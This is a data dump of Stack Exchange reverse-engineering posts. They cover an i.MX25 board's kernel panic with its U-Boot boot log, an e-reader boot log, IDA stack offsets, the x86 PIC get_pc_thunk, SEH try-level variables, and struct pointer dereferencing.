U-Boot 2009.01-dirty (Nov 15 2013 - 17:55:59)
+CPU:   Freescale i.MX25 at 398 MHz
+Board: GEA_M6425 
+I2C:   ready
+DRAM:  64 MB
+NAND:  Bad block table not found for chip 0
+Bad block table not found for chip 0
+Bad block table written to 0x0ffe0000, version 0x01
+Bad block table written to 0x0ffc0000, version 0x01
+256 MiB
+Use default panel_info values
+In:    serial
+Out:   serial
+Err:   serial
+i2c_addr:chip address cycle fail(a1)
+Net:   FEC0
+Version: 
+Note:    
+Hit any key to stop autoboot:  3  2  1  0 
+NAND read: device 0 offset 0x100000, size 0x300000
+    3145728 bytes read: OK
+## Booting kernel from Legacy Image at 81000000 ...
+    Image Name:   Linux-2.6.31-rc9
+    Image Type:   ARM Linux Kernel Image (uncompressed)
+    Data Size:    2318824 Bytes =  2.2 MB
+    Load Address: 80008000
+    Entry Point:  80008000
+    Verifying Checksum ... OK
+    Loading Kernel Image ... OK
+OK
+Starting kernel ...
+Uncompressing Linux....................................................................................................................................................... done, booting the kernel.
+Linux version 2.6.31-rc9 (user@evelin) (gcc version 4.1.2) #1 PREEMPT Tue Sep 27 21:35:47 CEST 2011
+CPU: ARM926EJ-S [41069264] revision 4 (ARMv5TEJ), cr=00053177
+CPU: VIVT data cache, VIVT instruction cache
+Machine: Freescale MX25 3-Stack Board
+Ignoring unrecognised tag 0x54410008
+Memory policy: ECC disabled, Data cache writeback
+Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256
+Kernel command line: console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=mxcfb:800x480,16bpp,Amp-WD
+PID hash table entries: 256 (order: 8, 1024 bytes)
+Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
+Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
+Memory: 64MB = 64MB total
+Memory: 59916KB available (4264K code, 484K data, 124K init, 0K highmem)
+NR_IRQS:272
+MXC IRQ initialized
+Clock input source is 24000000
+Console: colour dummy device 80x30
+Calibrating delay loop... 199.06 BogoMIPS (lpj=995328)
+Mount-cache hash table entries: 512
+CPU: Testing write buffer coherency: ok
+regulator: core version 0.5
+NET: Registered protocol family 16
+AIPS1 VA base: 0xfc000000
+CPU is i.MX25 Revision 1.0
+MXC GPIO hardware
+rate 22166666
+Using SDMA I.API
+MXC DMA API initialized
+bio: create slab <bio-0> at 0
+SCSI subsystem initialized
+usbcore: registered new interface driver usbfs
+usbcore: registered new interface driver hub
+usbcore: registered new device driver usb
+MXC I2C driver
+i2c-adapter i2c-0: ACK not received 
+NET: Registered protocol family 2
+IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
+TCP established hash table entries: 2048 (order: 2, 16384 bytes)
+TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
+TCP: Hash tables configured (established 2048 bind 2048)
+TCP reno registered
+NET: Registered protocol family 1
+Bus freq driver module loaded
+usb: Host 2 host (serial) registered
+usb: DR host (utmi) registered
+JFFS2 version 2.2. (NAND) (SUMMARY)  © 2001-2006 Red Hat, Inc.
+SGI XFS with security attributes, large block/inode numbers, no debug enabled
+msgmni has been set to 117
+alg: No test for stdrng (krng)
+io scheduler noop registered
+io scheduler anticipatory registered
+io scheduler deadline registered
+io scheduler cfq registered (default)
+MXC Backlight Device mxc_lcdc_bl.0 Initialized.
+Console: switching to colour frame buffer device 100x30
+mxc_sdc_fb mxc_sdc_fb.0: fb0: DISP0 BG fb device registered successfully.
+mxc_sdc_fb mxc_sdc_fb.0: fb1: DISP0 FG fb device registered successfully.
+Serial: MXC Internal UART driver
+mxcintuart.0: ttymxc0 at MMIO 0x43f90000 (irq = 45) is a Freescale i.MX
+console [ttymxc0] enabled
+mxcintuart.1: ttymxc1 at MMIO 0x43f94000 (irq = 32) is a Freescale i.MX
+mxcintuart.2: ttymxc2 at MMIO 0x5000c000 (irq = 18) is a Freescale i.MX
+brd: module loaded
+loop: module loaded
+Freescale FlexCAN Driver 
+FEC Ethernet Driver
+fec_enet_mii_bus: probed
+IEEE1588: ptp-timer is unavailable
+console [netcon0] enabled
+netconsole: network logging started
+MXC MTD nand Driver 2.5
+NAND device: Manufacturer ID: 0x2c, Chip ID: 0xaa (Micron NAND 256MiB 1,8V 8-bit)
+Unrecognized NAND Flash device.
+ehci_hcd: USB 2.0 'Enhanced' Host Controller (EHCI) Driver
+fsl-ehci fsl-ehci.0: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.0: new USB bus registered, assigned bus number 1
+fsl-ehci fsl-ehci.0: irq 35, io base 0x53ff4400
+fsl-ehci fsl-ehci.0: USB 2.0 started, EHCI 1.00
+usb usb1: configuration #1 chosen from 1 choice
+hub 1-0:1.0: USB hub found
+hub 1-0:1.0: 1 port detected
+fsl-ehci fsl-ehci.1: Freescale On-Chip EHCI Host Controller
+fsl-ehci fsl-ehci.1: new USB bus registered, assigned bus number 2
+fsl-ehci fsl-ehci.1: irq 37, io base 0x53ff4000
+fsl-ehci fsl-ehci.1: USB 2.0 started, EHCI 1.00
+usb usb2: configuration #1 chosen from 1 choice
+hub 2-0:1.0: USB hub found
+hub 2-0:1.0: 1 port detected
+Initializing USB Mass Storage driver...
+usbcore: registered new interface driver usb-storage
+USB Mass Storage support registered.
+mice: PS/2 mouse device common for all mice
+i.MX ADC at 0x50030000 irq 46
+sdhci: Secure Digital Host Controller Interface driver
+sdhci: Copyright(c) Pierre Ossman
+mxsdhci: MXC Secure Digital Host Controller Interface driver
+mxsdhci: MXC SDHCI Controller Driver. 
+mmc0: SDHCI detect irq 161 irq 9 INTERNAL DMA
+Advanced Linux Sound Architecture Driver Version 1.0.20.
+regulator: Unable to get requested regulator: VDDIO
+regulator: Unable to get requested regulator: VDDA
+regulator: Unable to get requested regulator: VDDD
+sgtl5000-i2c 0-000a: SGTL5000 revision 17
+No device for DAI imx-ssi-1-0
+No device for DAI imx-ssi-1-1
+No device for DAI imx-ssi-2-0
+No device for DAI imx-ssi-2-1
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83a90000 buf->area=fdf82000 size=65536
+DMA Sound Buffers Allocated:UseIram=0 buf->addr=83aa0000 buf->area=fdf92000 size=65536
+asoc: SGTL5000 <-> imx-ssi-1-0 mapping ok
+ALSA device list:
+    #0: imx-3stack (SGTL5000)
+oprofile: using timer interrupt.
+TCP cubic registered
+NET: Registered protocol family 17
+can: controller area network core (rev 20090105 abi 8)
+NET: Registered protocol family 29
+can: raw protocol (rev 20090105)
+RPC: Registered udp transport module.
+RPC: Registered tcp transport module.
+Static Power Management for Freescale i.MX25
+on-off key pressed
+input: imx_adc_ts as /class/input/input0
+i.MX ADC input touchscreen loaded.
+Root-NFS: No NFS server available, giving up.
+VFS: Unable to mount root fs via NFS, trying floppy.
+List of all partitions:
+No filesystem could mount root, tried:  jffs2
+Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(2,0)
+
+

Can you help me to understand the problem?

+
+

These are the output of file command:

+
nand_bootloader_0x0000000-0x00FFFFF.bin: FoxPro FPT, blocks size 0, next free block index 1778450666
+
+nand_kernel_0x0100000-0x03FFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9, Linux/ARM, OS Kernel Image (Not compressed), 2318824 bytes, Tue Sep 27 21:36:01 2011, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0x230C882F, Data CRC: 0xCD73A8A7
+
+nand_rootfs_1_0x0400000-0x06FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+
+nand_rootfs_2_0x0700000-0x09FFFFF.bin: Linux jffs2 filesystem data little endian
+
+nand_rootfs_3_0x0A00000-0x0EFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_4_0x0F00000-0x13FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_5_0x1400000-0x18FFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+nand_rootfs_6_0x1900000-0x1DFFFFF.bin: AIX core file fulldump 32-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377 64-bit, \377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377
+
+
+nand_rootfs_7_0x1E00000-0x22FFFFF.bin: Linux jffs2 filesystem data little endia
+
+nand_configure_0xFC00000-0xFCFFFFF.bin: u-boot legacy uImage, Linux-2.6.31-rc9-gec38174-dirty, Linux/ARM, OS Kernel Image (Not compressed), 2321092 bytes, Fri Oct  8 23:26:48 2010, Load Address: 0x80008000, Entry Point: 0x80008000, Header CRC: 0xE1994975, Data CRC: 0x55F17506
+
+nand_userfs_0xFD00000-0xFFFFFFF.bin: data
+
+

(rootfs is split into 7 files).

+

UPDATES:

+

Hi, I made a contiguous file with your command. Now I set the NFS server on my linux PC (in /etc/exports file I put the string /srv myip/my mask(rw,sync,no_subtree_check,no_root_squash) and save. I put the nand_rootfs.bin file in folder /srv and after i tried to setup UBOOT in my board. This is the printenv command of my Uboot:

+
bootdelay=3
+baudrate=115200
+loadaddr=0x81000000
+netdev=eth0
+ethprime=fec
+bootargs_nand=console=ttymxc0,115200 root=/dev/mtdblock2 rootfstype=jffs2 video=
+mxcfb:320x240,16bpp,Var-QVGA
+bootcmd_nand=nand read 81000000 100000 300000; bootm 81000000
+bootcmd_tftp=tftp uImage; bootm
+mirror_update=enable
+tftp_timeout=6000
+tftp_retry=20
+checksum_control=false
+ethact=FEC0
+filesize=27B84
+fileaddr=80800000
+offset=80000
+GEA_SN=A54673
+fec_addr=9C:53:CD:05:5E:C2
+fecaddr=9C:53:CD:05:5E:C2
+ethaddr=9C:53:CD:05:5E:C2
+splashload=nand read 80800000 c0000 40000
+splashimage=80800000
+lcd_name=Var-QVGA
+splashpos=0,0
+bootcmd=run bootcmd_nand
+bootargs=console=ttymxc0,115200 root=/dev/mtdblock2 rw rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA mtdparts=nand:1M(nand.bootloader),3M(nand.kernel),-(rootfs)
+ipaddr=192.168.11.60
+serverip=192.168.11.64
+bootargs_nfs=console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA
+
+Environment size: 991/262140 bytes
+
+

When I run the command:

+
run bootargs_nfs
+
+

I get:

+
Unknown command 'console=ttymxc0,115200' - try 'help'
+
+

Is this procedure correct ? I modify the bootargs_nfs with command:

+
setenv 'bootargs_nfs console=ttymxc0,115200 root=/dev/nfs rw ip=$(ipaddr) nfsroot=$(serverip):/srv/nand_rootfs.bin rootfstype=jff2 video=mxcfb:320x240,16bpp,Var-QVGA'
+
+",33347,,245,,6/26/2020 9:55,6/26/2020 9:55,Linux Embedded board - Kernel Panic problems,,1,1,,,,CC BY-SA 4.0 +25133,2,,4678,5/27/2020 9:20,,2,,"

Binary-level code coverage analysis can be done either statically or dynamically. Static instrumentation can, among other things, offer drastic performance improvements over dynamic tools like Pin. However, it is considered, somewhat traditionally, to be brittle, i.e., it breaks binaries. For example, see the last note on static rewriting in afl-qemu. Hence, dynamic coverage analysis tools like DynamoRIO's drcov are more popular.

+ +

That said, this paper (disclosure: first author here), describes bcov, a tool which was able of leveraging static instrumentation while achieving at the same time better transparency in comparison to the popular DBI tools Pin and DynamoRIO. However, this work required an orchestrated effort which combined:

+ +
    +
  • Probe pruning. Leveraged dominance analysis in order to prune basic blocks that do not offer additional coverage information. This can cut the number of required probes down to 46% of the total number of basic blocks.
  • +
  • Precise jump table analysis. Imprecision in the recovered control flow graph can cause the instrumented binaries to break. Therefore, recovering the targets of indirect jumps was necessary. This in turn enables the instrumentation of jump table entries.
  • +
  • Various static instrumentation tricks. Aggressive overwriting of padding bytes and hosting detours in neighboring basic blocks.
  • +
+ +

The tool bcov supports x86-64 ELF binaries. It can dump a single coverage file at process shutdown. This file contains a static array of booleans indicating the coverage of individual basic blocks. This means that merging (or diffing) coverage data of multiple tests can be done using simple boolean operations on the files themselves without the need to first post-process the data files. This feature improves the efficiency of the fuzzing workflow.

+ +

Update

+ +

The source code of bcov is now available.

+",11828,,11828,,6/4/2020 10:20,6/4/2020 10:20,,,,0,,,,CC BY-SA 4.0 +25134,1,,,5/27/2020 21:24,,1,124,"

I tried to fix the size of both the saved registers and the local variable area using IDA's ""Edit function"" option as IDA could not recognize it properly by itself.

+ +

Unedited function:

+ +

+

+ +

Corrected function:

+ +

+

+ +

I can't see anything wrong with [rsp+20h] as it points into the fixed allocation of 0x48 bytes. +So what does that red mark indicate and what causes it?

+",33355,,,,,5/27/2020 21:24,IDA 7.0: Why does editing this function result in red-marked stack-pointer offsets?,,0,1,,,,CC BY-SA 4.0 +25136,1,25141,,5/28/2020 9:25,,2,86,"

While reversing some x86 executables, I came across a pattern of addressing globals, that I don't familiar with, but it looks like IDA is, and I would like to know more about it.

+ +
.text:00002560             public start
+.text:00002560             start proc near
+.text:00002560 mov     ebx, [esp+0]
+.text:00002563 ret          
+
+.text:0001D233 push    ebx
+.text:0001D234 call    start ; ebx is initialized here 
+.text:0001D239 add     ebx, 1805Bh 
+
+.text:0001D25A lea     edi, (aLsi_0 - 35294h)[ebx] ; ""lsi"" <---- Ida recognizes here an access to global string.
+
+ +

I saw this pattern in many different binaries. Does anyone know what is the name of this kind of access and where can I read more about it?

+",31278,,,,,5/28/2020 12:10,X86 access to global strings pattern,,2,2,,,,CC BY-SA 4.0 +25138,2,,25136,5/28/2020 10:37,,0,,"

I have seen code like this, but it was quite a while ago! It only ever relates to the accessing of global variables: often called a Global Offset Table. More info here: https://stackoverflow.com/questions/55587313/why-use-the-global-offset-table-for-symbols-defined-in-the-shared-library-itself

+",33364,,,,,5/28/2020 10:37,,,,0,,,,CC BY-SA 4.0 +25139,1,,,5/28/2020 11:40,,1,138,"

I'm trying to reverse engineer my E-Reader. It's a Denver EBO-620. I want to change the off screen image and add my own fonts. With help of Reddit I've managed to log the startup sequence (shown down here), but I'm not sure what my next steps should be.

+ +

Any help is greatly appreciated!

+ +
    =~=~=~=~=~=~=~=~=~=~=~= PuTTY log 2020.05.27 18:56:10 =~=~=~=~=~=~=~=~=~=~=~=
+   Âÿ ÿHELLO! BOOT0 is starting!
+initializing SDRAM OK.
+NAND_RequestDMA  ok
+Succeed in opening nand flash.
+Succeed in reading Boot1 file head.
+The size of Boot1 is 0x00034000.
+The file stored in 0X00000000 of block 2 is perfect.
+Check is correct.
+Ready to disable icache.
+Succeed in loading Boot1.
+Jump to Boot1.
+begin to init file system
+bat vol = 4046
+1
+NB1 : enter NFB_Init
+
+nand_for_boot1.c 135get the good blk ratio from hwscan : 631571392 
+
+NB1 : enter phy init
+
+[NAND] nand driver version: 0x0x00000002, 0x0x00000011, data: 0x20120926
+
+NAND_RequestDMA  ok
+
+[SCAN_DBG] Nand flash chip id is:0x0x0000002c 0x0x00000044 0x0x00000044 0x0x00000000 0x0x8042506c 0x0x0000004b
+
+
+
+
+
+[SCAN_DBG] ==============Nand Architecture Parameter==============
+
+[SCAN_DBG]    Nand Chip ID:         0x0x4b44442c 0x0xffffffff
+
+[SCAN_DBG]    Nand Chip Count:      0x0x00000001
+
+[SCAN_DBG]    Nand Chip Connect:    0x0x00000001
+
+[SCAN_DBG]    Nand Rb Connect Mode:      0x0x00000001
+
+[SCAN_DBG]    Sector Count Of Page: 0x0x00000010
+
+[SCAN_DBG]    Page Count Of Block:  0x0x00000100
+
+[SCAN_DBG]    Block Count Of Die:   0x0x00000800
+
+[SCAN_DBG]    Plane Count Of Die:   0x0x00000002
+
+[SCAN_DBG]    Die Count Of Chip:    0x0x00000001
+
+[SCAN_DBG]    Bank Count Of Chip:   0x0x00000001
+
+[SCAN_DBG]    Optional Operation:   0x0x00000008
+
+[SCAN_DBG]    Access Frequence:     0x0x00000028
+
+[SCAN_DBG]    ECC Mode:             0x0x00000005
+
+[SCAN_DBG]    Read Retry Type:      0x0x00000000
+
+[SCAN_DBG]    DDR Type:             0x0x00000000
+
+[SCAN_DBG] =======================================================
+
+
+
+[SCAN_DBG] ==============Optional Operaion Parameter==============
+
+[SCAN_DBG]    MultiPlaneReadCmd:      0x0x00000000, 0x0x00000030
+
+[SCAN_DBG]    MultiPlaneWriteCmd:     0x0x00000011, 0x0x00000080
+
+[SCAN_DBG]    MultiPlaneCopyReadCmd:  0x0x00000000, 0x0x00000000, 0x0x00000035
+
+[SCAN_DBG]    MultiPlaneCopyWriteCmd: 0x0x00000085, 0x0x00000011, 0x0x00000080
+
+[SCAN_DBG]    MultiPlaneStatusCmd:    0x0x00000070
+
+[SCAN_DBG]    InterBnk0StatusCmd:     0x0x00000078
+
+[SCAN_DBG]    InterBnk1StatusCmd:     0x0x00000078
+
+[SCAN_DBG]    BadBlockFlagPosition:   0x0x00000001
+
+[SCAN_DBG]    MultiPlaneBlockOffset:  0x0x00000001
+
+[SCAN_DBG] =======================================================
+
+NB1 : nand phy init ok
+
+src\format\nand_format.c 2623[FORMAT_ERR] format nand flash*********!
+
+PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000001 
+
+PHY_PageReadSpare : too much ecc err,bank 0x00000000 block 0x00000000,page 0x00000000 
+
+NB1 : init ok
+
+mount successfully.
+0
+Source clock is HOSC, preScale=64, interval=375
+
+ Mount Parts Thread runniMInit : enter init nand flash driver
+ nand driver version: 0x2 0x11
+ nand_drv.c 166 ---------------
+ ------
+  nand_drv.c 192 --nand disk size: 0x780000
+
+ partition [D] plug in..
+
+ partition [Z] plug in..
+ Mount Parts Thread work now.....
+
+ partition [E] plug in..
+ Mount Parts Thread work end....
+ $$$$ eink clock is 8 $$$$$
+ eink_GetFileCntFromDir path = v:\
+ eLIBs_opendir failed!
+ AWF fp=0
+ -------------open awf file failed, try to open backup awf-----------
+ AWF file length=545 K
+ LCD TCON OPEN
+ MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm
+ .....................................................................................................................
+ .Please press enter key(keypad or irkey) to continue!
+..............................................................
+ .....................................................................................................................
+ Esh_StartUp 
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ Execute startup script begin..............
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ Esh Error:  OpenConfigFile y:\config\config.bin failed.
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_t41 set tmpNewCpu = 37yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  -382909968 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ===================yyparse start====================
+ yynerrs.1 =  0 
+ yynerrs.2 =  0 
+ outtree->op_type =  1 
+ yynerrs.3 =  0 
+ &&&&&&&&&&&&&&&&&&&yyparse end&&&&&&&&&&&&&&&&&&&&&&&&&&&
+ ...............Execute startup script end
+ Esh_StartUp finish
+ Esh msg:  shell maidesktop_server_init plug tp start
+ desktop_server_init plug tp over
+ dsk_orchid_createDisk over
+ d_createDisk over
+  dsk_orchid_check over
+ dsk_voice_set_volume over
+ dsk_display_set_lcd_bright over
+ dsk_keytone_init over
+ dsk_keytone_set_state over
+ dsk_app_reg_init over
+ dsk_langres_set_type over
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+ 214 Date parameter is invalid!(Y2020, M5, D28)
+
+ eink_GetFileCntFromDir path = v:\
+ eLIBs_opendir failed!
+ AWF fp=0
+ -------------open awf file failed, try to open backup awf-----------
+ AWF file length=545 K
+ LCD TCON OPEN
+ MSG:L3723(Drv_eink.c): set vcom mode as IO contrl, not pwm
+ LCD TCON close
+ B þ           `     €ÿ
+
+ +

EDIT: Sorry I forgot to say that this ereader indeed runs on an allwinner E200 chip. So most likely it's the allwinner os (probably 2.0, but that's not sure).

+",33365,,33365,,5/28/2020 12:18,6/27/2020 13:02,I need help reverse engineering my ereader (trying to get into the shell),,1,0,,,,CC BY-SA 4.0 +25140,2,,25139,5/28/2020 11:57,,1,,"

The boot log seems similar to the one from this page, so there's a high possibility this device is using an AllWinner SoC. You can try the tools from the linked repository.

+ +

Another option could be to dump the flash and analyze it.

+",60,,,,,5/28/2020 11:57,,,,0,,,,CC BY-SA 4.0 +25141,2,,25136,5/28/2020 12:10,,2,,"

The function you (or IDA) labeled start is commonly called __x86.get_pc_thunk.bx and is used by GCC and other compilers to calculate the current execution address for Position independent code (PIC). Usually the add instruction after the call results in ebx gettng the value of the GOT (Global offset table) so that external calls can be done without extra setup (the PLT stubs for external calls in PIC executables assume that ebx points to the GOT), but also global data can be addressed using a fixed offset relative to the GOT. This way the code can run regardless of the actual address at which it has been loaded by the OS (i.e. it is position independent).

+",60,,,,,5/28/2020 12:10,,,,0,,,,CC BY-SA 4.0 +25144,1,,,5/28/2020 18:32,,1,307,"

Who can explain to me, why this line code there is before each jmp or end of some part of code where there is label. What this line of code is to do?

+ +
mov     [ebp+var_4], 0FFFFFFFFh
+
+ +

This is WinMain used C++. I used try/catch.

+ +
.text:00411260                 push    ebp
+.text:00411261                 mov     ebp, esp
+.text:00411263                 push    0FFFFFFFFh
+.text:00411265                 push    offset unk_414FC8
+.text:0041126A                 push    offset loc_411050
+.text:0041126F                 mov     eax, large fs:0
+.text:00411275                 push    eax
+.text:00411276                 mov     large fs:0, esp
+.text:0041127D                 add     esp, 0FFFFFFA0h
+.text:00411280                 push    ebx
+.text:00411281                 push    esi             ; uType
+.text:00411282                 push    edi             ; uType
+.text:00411283                 mov     [ebp+var_18], esp
+.text:00411286                 mov     [ebp+var_1C], 64h
+.text:0041128D                 mov     [ebp+var_20], 96h
+.text:00411294                 mov     [ebp+var_4], 0
+.text:0041129B                 mov     eax, [ebp+var_1C]
+.text:0041129E                 add     eax, [ebp+var_20]
+.text:004112A1                 mov     [ebp+var_24], eax
+.text:004112A4                 int     3               ; Trap to Debugger
+.text:004112A5                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:004112AC                 jmp     short loc_4112D2
+.text:004112AE ; ---------------------------------------------------------------------------
+.text:004112AE                 mov     eax, 1
+.text:004112B3                 retn
+.text:004112B4 ; ---------------------------------------------------------------------------
+.text:004112B4                 mov     esp, [ebp-18h]
+.text:004112B7                 push    0
+.text:004112B9                 push    offset Caption  ; ""Error1""
+.text:004112BE                 push    offset Caption  ; ""Error1""
+.text:004112C3                 push    0               ; hWnd
+.text:004112C5                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
+.text:004112CB                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:004112D2
+.text:004112D2 loc_4112D2:                             ; CODE XREF: WinMain+4Cj
+.text:004112D2                 mov     [ebp+var_28], 64h
+.text:004112D9                 mov     [ebp+var_2C], 96h
+.text:004112E0                 mov     [ebp+var_4], 1
+.text:004112E7                 mov     eax, [ebp+var_28]
+.text:004112EA                 add     eax, [ebp+var_2C]
+.text:004112ED                 mov     [ebp+var_30], eax
+.text:004112F0                 mov     eax, [ebp+var_30]
+.text:004112F3                 cdq
+.text:004112F4                 xor     ecx, ecx
+.text:004112F6                 idiv    ecx
+.text:004112F8                 mov     [ebp+var_30], eax
+.text:004112FB                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:00411302                 jmp     short loc_411328
+.text:00411304 ; ---------------------------------------------------------------------------
+.text:00411304                 mov     eax, 1
+.text:00411309                 retn
+.text:0041130A ; ---------------------------------------------------------------------------
+.text:0041130A                 mov     esp, [ebp-18h]
+.text:0041130D                 push    0
+.text:0041130F                 push    offset Text     ; ""Error2""
+.text:00411314                 push    offset Text     ; ""Error2""
+.text:00411319                 push    0               ; hWnd
+.text:0041131B                 call    ds:__imp__MessageBoxA@16 ; MessageBoxA(x,x,x,x)
+.text:00411321                 mov     [ebp+var_4], 0FFFFFFFFh
+.text:00411328
+.text:00411328 loc_411328:                             ; CODE XREF: WinMain+A2j
+.text:00411328                 xor     eax, eax
+.text:0041132A                 mov     ecx, [ebp+var_10]
+.text:0041132D                 mov     large fs:0, ecx
+.text:00411334                 pop     edi
+.text:00411335                 pop     esi
+.text:00411336                 pop     ebx
+.text:00411337                 mov     esp, ebp
+.text:00411339                 pop     ebp
+.text:0041133A                 retn    10h
+.text:0041133A WinMain         endp
+
+",33371,,245,,5/29/2020 19:40,5/29/2020 19:40,Variable var_4 filled with value -1,,1,0,,,,CC BY-SA 4.0 +25145,2,,25144,5/28/2020 19:10,,4,,"

In binaries compiled with Visual C++, functions which use SEH (Structured exceptions handling), usually use var_4 ([ebp-4]) for the try level value (value specifying the current SEH scope block).

+ +

The value 0FFFFFFFFh (or -1) is used for the outermost, global function scope (i.e. before and after any __try blocks).

+ +

For more info check my OpenRCE article.

+",60,,,,,5/28/2020 19:10,,,,6,,,,CC BY-SA 4.0 +25146,2,,12235,5/29/2020 2:59,,0,,"

See also https://pypi.org/project/DAKimport/ which was developed using Guntram's Java code and by further disassembly of Silverknit Utility.

+",31531,,,,,5/29/2020 2:59,,,,0,,,,CC BY-SA 4.0 +25147,1,25149,,5/29/2020 10:05,,0,163,"

I am reading a book on reversing and I am curious about one of the assembly snippet i have read in it.

+ +

There is a simple disassembly of the function RtlNumberGenericTableElements and it looks like this:

+ +
push ebp
+mov ebp, esp
+mov eax, dword ptr [ebp+8]
+mov eax, dword ptr [eax+14]
+pop ebp
+ret 4
+
+ +

And it occured to me, say there is a member of a structure that is a pointer to some other structure. How would I go about dereferencing that member?

+ +
struct example {
+  int member1;
+  *object member2;
+};
+
+ +

Would I be dereferencing member 2 like so (pointer to struct comes as first param):

+ +
mov eax, [ebp+8]
+mov eax, dword ptr [eax]
+mov eax, [eax+8] ; this would get me the pointer to member2???
+
+ +

any input appreciated

+ +

EDIT:

+ +

I see, your explanation was understandable, thank you, I appreciate it.

+ +

